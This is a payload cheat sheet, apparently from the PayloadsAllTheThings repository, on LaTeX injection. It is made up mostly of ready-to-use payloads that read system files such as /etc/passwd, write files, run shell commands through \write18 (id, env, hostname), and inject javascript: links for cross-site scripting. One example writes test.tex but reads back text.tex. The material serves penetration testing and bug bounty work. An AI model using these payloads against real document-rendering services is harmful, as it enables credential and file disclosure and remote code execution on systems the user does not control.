PayloadsAllTheThings/LaTeX Injection/README.md
Radoslav Bodó b8387bc3a5
LaTeX Injection catcode
add `\catcode` to disable LaTex control characters
2022-02-22 15:57:04 +01:00

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# LaTex Injection
## Read file
Read file and interpret the LaTeX code in it:
```tex
\input{/etc/passwd}
\include{somefile} # load .tex file (somefile.tex)
```
Read single lined file:
```tex
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
Read multiple lined file:
```tex
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
Read text file, **without** interpreting the content, it will only paste raw file content:
```tex
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
If injection point is past document header (`\usepackage` cannot be used), some control
characters can be deactivated in order to use `\input` on file containing `$`, `#`,
`_`, `&`, null bytes, ... (eg. perl scripts).
```tex
\catcode `\$=12
\catcode `\#=12
\catcode `\_=12
\catcode `\&=12
\input{path_to_script.pl}
```
## Write file
Write single lined file:
```tex
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\write\outfile{Line 2}
\write\outfile{I like trains}
\closeout\outfile
```
## Command execution
The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
```tex
\immediate\write18{id > output}
\input{output}
```
If you get any LaTex error, consider using base64 to get the result without bad characters (or use `\verbatiminput`):
```tex
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```tex
\input|ls|base64
\input{|"/bin/hostname"}
```
## Cross Site Scripting
From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```tex
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
Live example at `http://payontriage.com/xss.php?xss=$\href{javascript:alert(1)}{Frogs%20find%20bugs}$`
## References
* [Hacking with LaTeX - Sebastian Neef - 0day.work](https://0day.work/hacking-with-latex/)
* [Latex to RCE, Private Bug Bounty Program - Yasho](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
* [Pwning coworkers thanks to LaTeX](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)